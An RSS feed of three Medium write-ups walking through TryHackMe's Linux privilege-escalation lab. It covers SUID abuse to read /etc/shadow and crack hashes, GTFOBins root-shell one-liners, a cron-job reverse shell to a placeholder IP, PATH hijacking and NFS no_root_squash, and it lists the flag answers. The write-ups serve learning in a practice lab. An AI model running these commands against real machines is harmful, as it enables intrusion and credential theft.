<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Asim Anwar on Medium]]></title>
        <description><![CDATA[Stories by Asim Anwar on Medium]]></description>
        <link>https://medium.com/@NoOne.?source=rss-b5afc71befb9------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*29Iic64ajyRWQmfT</url>
            <title>Stories by Asim Anwar on Medium</title>
            <link>https://medium.com/@NoOne.?source=rss-b5afc71befb9------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 16:29:28 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@NoOne./feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Linux Privilege Escalation — Capstone Challenge | TryHackMe]]></title>
            <link>https://medium.com/@NoOne./linux-privilege-escalation-capstone-challenge-tryhackme-e69c798204bc?source=rss-b5afc71befb9------2</link>
            <guid isPermaLink="false">https://medium.com/p/e69c798204bc</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Asim Anwar]]></dc:creator>
            <pubDate>Sat, 11 May 2024 18:04:04 GMT</pubDate>
            <atom:updated>2024-05-11T18:04:04.798Z</atom:updated>
            <content:encoded><![CDATA[<h3>Linux Privilege Escalation — Capstone Challenge | TryHackMe</h3><p>Hi! We previously covered all guided tasks of the Linux Privilege Escalation room. You can find them at the following links:<br>Part 1: <a href="https://medium.com/@NoOne./linux-privilege-escalation-tryhackme-part-1-f0ae442e6864">https://medium.com/@NoOne./linux-privilege-escalation-tryhackme-part-1-f0ae442e6864</a><br>Part 2: <a href="https://medium.com/@NoOne./linux-privilege-escalation-tryhackme-part-2-9a4cddba01ab">https://medium.com/@NoOne./linux-privilege-escalation-tryhackme-part-2-9a4cddba01ab</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aNefX8viumi5av1ZjlKKOQ.png" /></figure><p>It is now time to put all that we have learned about Linux privilege escalation into practice. Let’s get started with the final task — Capstone Challenge. As this challenge does not have a guide, I will be going through it from a complete black-box POV. There may be quite a few unnecessary tangents and headbutts, but we will eventually get there.</p><h3>Objective</h3><p>Let’s take a look at the challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*akP0Lwf5tfvF9lqznv2sww.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eaMGCqDtOCzPHI05SZf0XQ.png" /></figure><p>Right, then. Our main objective is to read the contents of flag1.txt and flag2.txt. We are given ssh credentials for an unprivileged user leonard, and we need to escalate our privileges until we are root. Let’s get started.</p><p>We will begin by checking whether we have any sudo privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*_ufLttFZAMs8oTfBVbquMQ.png" /></figure><p>We cannot run sudo. Let’s check the command history of the user. There could be some hints or even passwords left behind.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/598/1*_fbcSQDUJvgfUtrb4XLKpg.png" /></figure><p>We don’t have much to go on with, but we can at least gather that flag2.txt is located in the /home/rootflag directory. We also might need to compromise the missy user in order to get root on the system, but we will focus on the current user first.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*NVHgkMhsRkaVy6UfZAf5bQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*Lfy7LcsXA29-CKYbOwDrdA.png" /></figure><p>We have an empty directory named perl5 that is world-executable. I’m not sure where that would come into play. Also, we get a permission denied error when we try to access /home/missy or /home/rootflag. Let’s try cron jobs. Maybe there is something worth exploiting in there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DMzQuKNG3AGS3gCifjqJdQ.png" /></figure><p>Nope, not quite. Let’s try finding files with the SUID bit set. It was a fairly successful path in the guided tasks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*7BknG_KI0ByES7TeBTxCBQ.png" /></figure><p>That looks promising! We exploited the base64 binary with the SUID bit set in Task 7. Let’s try it out again. This could be a case of getting ahead of ourselves, but there’s no harm in trying to read the contents of the flag files directly using base64. We are not sure where the two files might be located, so we will just try /home/missy/flag1.txt and /home/rootflag/flag2.txt based on the information we gathered from the history command. We won’t waste time guessing the correct locations.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2dTuL38DpHPoUkkbN-YycA.png" /></figure><p>Well that was easier than I expected it to be. We have found the root flag without any effort, and it appears that flag1.txt is located somewhere else. Let’s try another route.</p><p>As we can use the base64 binary with root privileges, we might as well grab the root user’s password hash from the /etc/shadow file and try cracking it. Let’s see how that works out for us.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dcPZiTzNKml9MF-HnxLa1Q.png" /></figure><p>We now have the root user’s password hash. We also went ahead with grabbing missy’s password hash, just in case. Let’s try cracking both hashes using johnand the default rockyou.txt.</p><p>john ran for a while but couldn’t crack the root hash. The process had to be stopped before completion because the hash cracking was not expected to take so long unless the hash was meant to be uncrackable. So, we shall now move on to missy’s hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nR-JKMSbC1q-H-K6Wr4r6Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AWARvDz_FjMXA9QsyBGaUw.png" /></figure><p>No longer than a single sole second later, we have cracked missy’s hash. It took longer to type the command than for john to crack the hash. Nice and easy.</p><p>Let’s log in as missy and read the flag1.txt file to get the answer to the final question (as we already have the root flag).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-CZKraQHgryJeAKJrhQaHA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/746/1*Etk6ngDgLreE2kLAnp2Z4A.png" /></figure><p>There’s the flag.</p><p>Although we will have technically completed the challenge by obtaining both flags, we will try to escalate our privileges until we have compromised the root user. Let’s begin by checking whether missy has any sudo privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zk21chj9YT8jRVeNBKgQ1A.png" /></figure><p>And we have a new vector. We can run the find command with sudo privileges. Let’s quickly jump on to GTFOBins and find out how we can make our way to root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4-45kTrSzCfb0UB1G9YWCw.png" /></figure><p>Perfect! We can simply run the command find . -exec /bin/sh -p \; -quit to escalate our privileges to root. Let’s do it!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J9BpmyysBWup9fCSk8vlsQ.png" /></figure><p>There it is! We finally have a root shell.</p><h4>Q: What is the content of the flag1.txt file?</h4><p><strong>Answer:</strong> THM-42828719920544</p><h4>Q: What is the content of the flag2.txt file?</h4><p><strong>Answer:</strong> THM-168824782390238</p><h3>Recap</h3><p>We began with the user leonard, who had no sudo privileges. After some information gathering, we identified that the binary base64 has the SUID bit set. We then used this binary to read the contents of the /etc/shadow file and grabbed the password hashes of missy and root. While we couldn’t crack the password hash of root, we cracked the hash of missy and identified the password of that account — Password1. Then, we logged into the missy account and found that we can run the find command with sudo privileges. We then turned to GTFOBins and found the command find . -exec /bin/sh -p \; -quit, which spawned a nice little root shell for us.</p><blockquote>Easier than expected but a fun challenge nonetheless for beginners. Loved it. Insha’Allah we will crack open another room or maybe even a similar challenge soon. Until then, take care!</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e69c798204bc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Linux Privilege Escalation | TryHackMe — Part 2]]></title>
            <link>https://medium.com/@NoOne./linux-privilege-escalation-tryhackme-part-2-9a4cddba01ab?source=rss-b5afc71befb9------2</link>
            <guid isPermaLink="false">https://medium.com/p/9a4cddba01ab</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Asim Anwar]]></dc:creator>
            <pubDate>Fri, 10 May 2024 18:51:56 GMT</pubDate>
            <atom:updated>2024-05-10T18:51:56.276Z</atom:updated>
            <content:encoded><![CDATA[<h3>Linux Privilege Escalation | TryHackMe — Part 2</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aNefX8viumi5av1ZjlKKOQ.png" /></figure><p>Hi! Let’s continue with TryHackMe’s <strong>Linux Privilege Escalation</strong> room. Here is the link to Part 1: <a href="https://medium.com/@NoOne./linux-privilege-escalation-tryhackme-part-1-f0ae442e6864">https://medium.com/@NoOne./linux-privilege-escalation-tryhackme-part-1-f0ae442e6864</a>.</p><h3>Task 8 — Privilege Escalation: Capabilities</h3><h4>Q: How many binaries have set capabilities?</h4><p>Let’s check out the guide on how we can list binaries that have set capabilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YoOf3tG7rawGC3ikH7nyKg.png" /><figcaption>Taking advantage of capabilities for privesc</figcaption></figure><p>As we are starting with an unprivileged user karen, we will redirect the error messages to /dev/null as suggested.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PHtLv0c-tKq6dWHqRtJiCw.png" /><figcaption>Listing files with set capabilities</figcaption></figure><p>We have a list of six binaries with set capabilities.</p><p><strong>Answer: </strong>6</p><h4>Q: What other binary can be used through its capabilities?</h4><p>The guide shows us the exploit for the vim binary, so the other binary listed here that can be used through its capabilities is view (/home/ubuntu/view).</p><p><strong>Answer:</strong> view</p><h4>Q: What is the content of the flag4.txt file?</h4><p>First, let’s locate the flag4.txt file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*vgryGaOrVDAp0Jzhmqp7Gw.png" /><figcaption>Locating the flag4.txt file</figcaption></figure><p>The flag4.txt file is readable by all users. So, we don’t even need to run any exploits to grab the flag. We can simply print the file contents to the terminal and obtain the answer. First, let’s do it that way.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/1*Tn_-8RB0vqXwX8gM4tg0zQ.png" /><figcaption>Obtaining the flag</figcaption></figure><p>We have the flag. It is quite unexpected that we didn’t even need to run any exploits for it. However, for the sake of learning and keeping up with the guide, we will tag along with exploiting binaries with set capabilities.</p><p>We identified the vim and view binaries using the getcap command earlier. We will try to spawn a root shell using each binary with the help of GTFOBins. Let’s begin with vim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R9I2BVPug96OwOTKHlvq-Q.png" /><figcaption>Checking ‘vim’ capabilities on GTFOBins</figcaption></figure><p>As we don’t have sudo rights, we will just run the final command. However, we need to check the version of Python installed on the system and alter the command accordingly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*ow1QaabkvWXg0M_DxWAe5g.png" /><figcaption>Checking the version of Python installed on the system</figcaption></figure><p>We can see that the target system has Python3 installed, so we will use the Python3 version of the exploit:<br>./vim -c ‘:py3 import os; os.setuid(0); os.execl(“/bin/sh”, “sh”, “-c”, “reset; exec sh”)’</p><p>Let’s give it a try.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n9-h6yWUyLa6zeqTSQSkWg.png" /><figcaption>Running the ‘vim’ exploit to spawn a shell</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*-jGV15TaEaQm3yAiVYPzCw.png" /><figcaption>Obtaining the flag</figcaption></figure><p>Running the exploit spawns a blank root shell, so we simply print the contents of the flag4.txt file.</p><p>Now, let’s try the other binary — view. First, we will check out GTFOBins for the correct command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4Vu83UCTGgTA7Q_xi-91bg.png" /><figcaption>Checking ‘view’ capabilities on GTFOBins</figcaption></figure><p>Again, we will replace :py with :py3 in the command for the exploit to work correctly. We need to either make sure we are in the correct directory where the view binary is located or provide the complete path to the binary.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9thMklhCaHG-XcjBn0RAvA.png" /><figcaption>Running the ‘view’ exploit to spawn a shell</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/1*zkdh2Yw7MWVnzF5irKb5Ng.png" /><figcaption>Obtaining the flag</figcaption></figure><p>And we have the flag once again.</p><p><strong>Answer:</strong> THM-9349843</p><h3>Task 9 — Cron Jobs</h3><h4>Q: How many user-defined cron jobs can you see on the target system?</h4><p>The walkthrough guides us on how to check the list of user-defined cron jobs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VSJ7zUYRBtbv3K-aqSxslQ.png" /><figcaption>Cron jobs in /etc/crontab</figcaption></figure><p>Let’s run the command and count the number of user-defined cron jobs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wumV3vjv0SkSNEyAmHQAcg.png" /><figcaption>Listing all cron jobs</figcaption></figure><p>We can see four user-defined cron jobs at the bottom.</p><p><strong>Answer:</strong> 4</p><h4>Q: What is the content of the flag5.txt file?</h4><p>First, let’s locate the flag5.txt file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/849/1*8OCkaOxsG-PTSPwmI7FB8g.png" /><figcaption>Locating the flag5.txt file</figcaption></figure><p>We have located the file, but unlike the previous task, we cannot access the file directly. Let’s check out what the cron jobs can do for us.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8lSGyWurS8TbhOZD91n_TQ.png" /><figcaption>backup.sh scheduled to run every minute</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fEx-q9AXnG5mk6YqLetcsg.png" /><figcaption>Modifying the file to launch a reverse shell</figcaption></figure><p>Let’s begin with the backup.sh file as suggested in the guide. First, we will modify the file to create a reverse shell and set up a listener on our local machine. We will hopefully receive a reverse connection from the target system within a minute, as the backup.sh file is scheduled to run every minute.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*TBZmkpT_FnhH5_LZgoU74w.png" /><figcaption>bash -i &gt;&amp; /dev/tcp/IP/Port 0&gt;&amp;1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/429/1*XrCJXuAxfk4KS0ZQ5QUzdg.png" /><figcaption>Setting up a listener</figcaption></figure><p>After a few minutes of waiting, we did not receive any connection from the target machine. So, the first point of action is to check the file permissions. Turns out, nobody has the right to execute the file. So, we will just push a nice little chmod +x in there to make the file executable. That should hopefully fix the issue.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*E9OxCaNXmKTYIJirdoHtGg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2AZz3nUvrekWJAjJrYkm8A.png" /></figure><p>Finally, we have a reverse shell. Let’s quickly grab the flag from flag5.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*1P0vJIpXpmyRkKdRYMC7eA.png" /></figure><p>Nice and easy!</p><p><strong>Answer: </strong>THM-383000283</p><h4>Q: What is Matt’s password?</h4><p>We have a reverse shell with root privileges, so we can simply print the shadow file, grab Matt’s password hash, and crack the hash to obtain the password. Let’s do it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AsF5dB21Uh8WKKGPhUIHhQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C4AWpfk1tyoMrBJTnpJUTw.png" /></figure><p>There we go. We have cracked the password.</p><p>We could repeat the same steps with the /tmp/test.py binary. It appears that the file does not exist on the target system, so we can simply create one with the same name and take the same steps to spawn a root shell.</p><p>Additionally, in some cases, we can abuse a given script instead of modifying it entirely, as suggested below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y46vVhV6nB1ernA-Iu7FKA.png" /></figure><p><strong>Answer: </strong>123456</p><h3>Task 10 — Privilege Escalation: PATH</h3><h4>Q: What is the odd folder you have write access for?</h4><p>We can obtain a list of folders we have write access for using the find command with the appropriate permission flags. Let’s take a look at the complete command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IT_3Ch0hiS27n_TUA1J3Ww.png" /></figure><p>We have a -writable flag that can be set for ease of use. Let’s try it out on the target system to find the odd folder required to answer this question.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/863/1*5PWVCiU-M1UgAlY9D3U2pw.png" /></figure><p>The command produces a ton of results, and the only seemingly odd result is /home/murdoch. We are using tail for the sake of a compact screenshot. It would otherwise hinder your progress.</p><p><strong>Answer:</strong> /home/murdoch</p><h4>Q: Exploit the $PATH vulnerability to read the content of the flag6.txt file.</h4><p>First, let’s print the PATH variable and locate the flag6.txt file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3zldAmRRxy5pRzioNWzWKQ.png" /></figure><p>Now, let’s check out the guide.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eJnzSunv1TGuxBsB6lQf3Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*MCDactwuqn3dXlq4T84H_w.png" /></figure><p>So, we need to find a script/application that will run a command (thmin this case) in the context of a different user or root itself. If the script does not specify the absolute path of the command, the OS will search for the command in the folders listed under the PATH variable. If $PATH is modifiable, we will add a writable folder to $PATH, create a file with the name of the command (thm), and specify what the command should do.</p><p>That’s a lot to take in. Let’s get right into it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*2OBbnhhd8FpJkD6GSPS1QQ.png" /></figure><p>A few quick searches in the /home folder later, we find a test file owned by root and with the SUID bit set. It is executable by all users, so if we execute it, it will run with the privileges of the root user. Let’s check out what it does.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*OIB1GQhZKd1CkOUbxcsyLQ.png" /></figure><p>It appears the file is trying to run the command thm but the OS is unable to find it in $PATH. We know that /home/murdoch is a writable folder, so we will create a binary named thm in that folder and make the binary spawn a shell. However, we will need to add the folder to $PATH first.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5UnIttHiUxbGeYLX4J4K_g.png" /></figure><p>The example shows us how to add /tmp to $PATH , but we will replace /tmp with /home/murdoch. Note that it would be better to perform the exploit through /tmp as interfering with a user’s home directory is not the best idea, but we are not working on a real engagement, so we might as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wCdjlHcipcJcvlhHM5Ls0A.png" /></figure><p>Now, we will create an executable named thm in the /tmp/murdoch directory and make it spawn a shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EwIlipnNuuY2TGW1-KmLCQ.png" /></figure><p>Let’s carry out the same steps.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*qDZs3egsPgmOZAEWY_87Xg.png" /></figure><p>There we go. Now, if we run the test script, it should hopefully try to run the thm binary within /home/murdoch, which will give us a root shell. Let’s see how that works out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*dhOMTIe0JD__ZsUq9sZOIg.png" /></figure><p>And we have root. Clean and simple.</p><p>Now, let’s read the contents of flag6.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*bp3o80KrK-ML5XCZy8kN2w.png" /></figure><p>There we go. That was fun.</p><h4>Q: What is the content of the flag6.txt file?</h4><p>Let’s submit the flag as we have already read the contents of the flag6.txt file.</p><p><strong>Answer:</strong> THM-736628929</p><h3>Task 11 — Privilege Escalation: NFS</h3><h4>Q: How many mountable shares can you identify on the target system?</h4><p>Let’s begin with the official guide.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/1*ZfOeOQVa9YCePYp5fRYaRQ.png" /></figure><p>We need to run the command shown above on our local machine. Let’s do it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/423/1*so064gLFZdIiBTteqSgabA.png" /></figure><p>We can see that the target system has three mountable shares.</p><p><strong>Answer:</strong> 3</p><h4>Q: How many shares have the “no_root_squash” option enabled?</h4><p>Let’s check out the official guide again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mR5Uhc_Vq8L80KiehkckAw.png" /></figure><p>Let’s check out the /etc/exports file on the target system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3l4paAwSdAcRaTQnXsTsEg.png" /></figure><p>We can see the three mounts listed at the bottom, and they all have the no_root_squash option enabled.</p><p><strong>Answer:</strong> 3</p><h4>Q: Gain a root shell on the target system</h4><p>The guide tells us how we can exploit the no_root_squash option on a mountable share.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k1APZK9x9CxEIj6RCAtlyg.png" /></figure><p>Let’s continue following the guide on how to leverage this vulnerability to gain a root shell on the target system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mQVnwSN76HvbBDuEDZraeg.png" /></figure><p>As suggested, we will first create a temp folder and mount one of the no_root_squash shares to our local machine. Then, we will create a simple executable that will spawn a shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/1*dbLEbvyTbfZrAZxGkwnW1g.png" /></figure><p>We have mounted /home/backup folder to /tmp/test and created exploit.c containing a simple shell-spawning script. Note that we need sudo privileges to mount the folder, and we will need them to perform any actions on that folder. The -o flag of the mount command is used to specify additional options or parameters. We are using the parameters rw, which stands for read-write, specifying read and write permissions to the mounted folder.</p><p>Now, let’s compile the code and set the SUID bit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/1*i2FUbWUQTeE914H2zs4nYg.png" /></figure><p>Let’s check whether the files reflect in the folder that we have mounted — /home/backup on the target system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*IjuJXsXXTaaJYj8bZUKsMQ.png" /></figure><p>Well, although most of the information is not provided for some reason, we have confirmed that the files exist on the target system. Let’s try executing exploit and hopefully pop a root shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*u9BDPvm2ZXbLhyXx3xBx4g.png" /></figure><p>Turns out, we do not have execute permissions on the /home/backup folder. A lot of time seemingly wasted but something to learn nonetheless.</p><p>Let’s try the whole thing again, but this time with the /tmp folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*UmzZEpOVuBYiPs3OWSrggA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*it_ucBusMwzbuVC3vtJD7A.png" /></figure><p>Now, let’s check the situation of the target machine’s mounted folder — /tmp.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/1*B0wZ2XKdt0hsyGmxSAVOPQ.png" /></figure><p>Perfect! We have got it working. Let’s execute exploit to finally pop a root shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xreqtYN_pKmlNsc432bhmg.png" /></figure><p>Not so fast, I guess!</p><blockquote>At this point, I realised I wouldn’t be able to pop a root shell anyway because I created the exploit on my local machine through a standard user account — kali — as can be seen in the screenshots above. Accordingly, on the target machine, the owner of the exploit is ‘ubuntu’, not the root user. So, even if the exploit were to be executed, I would pop a standard shell, not a root shell. So, I had to redo the entire process through the root user account. Moving on . . .</blockquote><p>After some google-fu, I found three seemingly workable bypasses: using a helper script called XenSpawn, which can be found <a href="https://github.com/X0RW3LL/XenSpawn">here</a>; adding the -static option to the compiler command for static linking; and dependency bundling using LD_LIBRARY_PATH.</p><p>Let’s try the easy and obvious static flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*Ip1iMuCYMNheruislstDYQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/1*recLdhJss_0IscFNiD3MSA.png" /></figure><p>We can also confirm that the executable exploit is owned by root this time around. Let’s run it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*fZpg_ZfzivCrIoVobXv8mQ.png" /></figure><p>And we finally have a root shell. This part took a lot of going back and forth and more time than expected, but it was a worthy learning experience.</p><h4>Q: What is the content of the flag7.txt file?</h4><p>We have a root shell on the machine, so we will simply locate the flag7.txt file and print its contents to the terminal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*WJENbi3XZF74F2Mgz6w29Q.png" /></figure><p>Finally, ending on a high.</p><p><strong>Answer:</strong> THM-89384012</p><blockquote>We are all done with the guided tasks in the Linux Privilege Escalation room. We will go through the final task — Capstone Challenge — soon Insha’Allah. Until then, take care!</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9a4cddba01ab" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Linux Privilege Escalation | TryHackMe — Part 1]]></title>
            <link>https://medium.com/@NoOne./linux-privilege-escalation-tryhackme-part-1-f0ae442e6864?source=rss-b5afc71befb9------2</link>
            <guid isPermaLink="false">https://medium.com/p/f0ae442e6864</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[linux]]></category>
            <dc:creator><![CDATA[Asim Anwar]]></dc:creator>
            <pubDate>Thu, 09 May 2024 18:03:52 GMT</pubDate>
            <atom:updated>2024-05-09T18:03:52.503Z</atom:updated>
            <content:encoded><![CDATA[<h3>Linux Privilege Escalation | TryHackMe — Part 1</h3><h3>Introduction</h3><p>Hi! I am a Content Creator/Editor by profession and an infosec novice trying to step into the InfoSec industry. I will mainly cover TryHackMe rooms and modules in my write-ups. As a beginner in this field, I will mostly stick to following the official walkthroughs provided by TryHackMe and not reiterate the theoretical concepts here for the most part.</p><p>Let’s begin!</p><p>Today, I will be covering TryHackMe’s <strong>Linux Privilege Escalation</strong> room. You can read up on it and access the practice VMs <a href="https://tryhackme.com/r/room/linprivesc">here</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aNefX8viumi5av1ZjlKKOQ.png" /><figcaption>Linux Privilege Escalation room banner</figcaption></figure><p>The room begins with a basic introduction of what will be covered in this room and provides a fundamental understanding of privilege escalation. Let’s jump straight into Task 3!</p><h3>Task 3 — Enumeration</h3><h4><strong>Q: What is the hostname of the target system?</strong></h4><p>The task specifies how to identify the hostname of the target system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dP05Xkb7qSPHUrplU_V8_Q.png" /><figcaption>Hostname identification</figcaption></figure><p>Let’s give that a shot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/378/1*2t4n2o6W_OBD9uGXjclP2g.png" /><figcaption>Hostname command in action</figcaption></figure><p>There we go! Nice and easy!</p><p>Also pay attention to the beginning of the prompt — karen@wade7363.<br>It specifies the current user and the hostname of the system separated by ‘@’.</p><p><strong>Answer: </strong>wade7363</p><h4><strong>Q: What is the Linux kernel version of the target system?</strong></h4><p>We are given two ways of identifying the Linux kernel version.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9GtWXKCLqr9rpvKGqzGsrA.png" /><figcaption>Kernel version identification</figcaption></figure><p>Let’s try both methods.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DMkYiMd4qaaZz_ZbHfOCHA.png" /><figcaption>Identifying kernel version using ‘uname -a’</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lr5-Itz9L3vsAyBevvV_AA.png" /><figcaption>Identifying kernel version through /proc/version</figcaption></figure><p>There we have it.</p><p><strong>Answer: </strong>3.13.0-24-generic</p><h4>Q: What Linux is this?</h4><p>Both commands used in the previous question specify that the Linux flavour in use is Ubuntu, but we are not given the version. In /proc/version, we have Ubuntu 4.8.2-19ubuntu1 — although it appears to be the required answer, it is rather relevant to the gcc version in use.<br>Let’s check out what the guide has in store for us.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nwJ7EUDpsU2qCf2CslMttQ.png" /><figcaption>OS info retrieval</figcaption></figure><p>Let’s read the /etc/issue file to identify the OS and version running on the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/458/1*digD2JRGxdJ9BApNGhE_OA.png" /><figcaption>Identifying OS through /etc/issue</figcaption></figure><p>That gives us the required answer.</p><p><strong>Answer: </strong>Ubuntu 14.04 LTS</p><h4>Q: What version of the Python language is installed on the system?</h4><p>We are not given a specific way of identifying the version of Python installed on the system. The only relevant information provided to us is as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/923/1*c4XLTeHjThRc47ah8LCkVA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7wC23Jl77SjC3Yh7uBy2Fg.png" /></figure><p>As suggested, we can run the env command and check whether it lists Python in the PATH variable. Let’s try it out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0b22QSirscKVrbQaghohGA.png" /><figcaption>Printing the PATH variable using the ‘env’ command</figcaption></figure><p>We can see that the PATH variable does not print anything concerning Python. While that does not help us much, we can simply the run the commands python --versionand python3 --version, where the former prints the version of Python2 and the latter prints the version of Python3, if any, running on the system. Let’s give them a shot.</p><figure><img alt="" 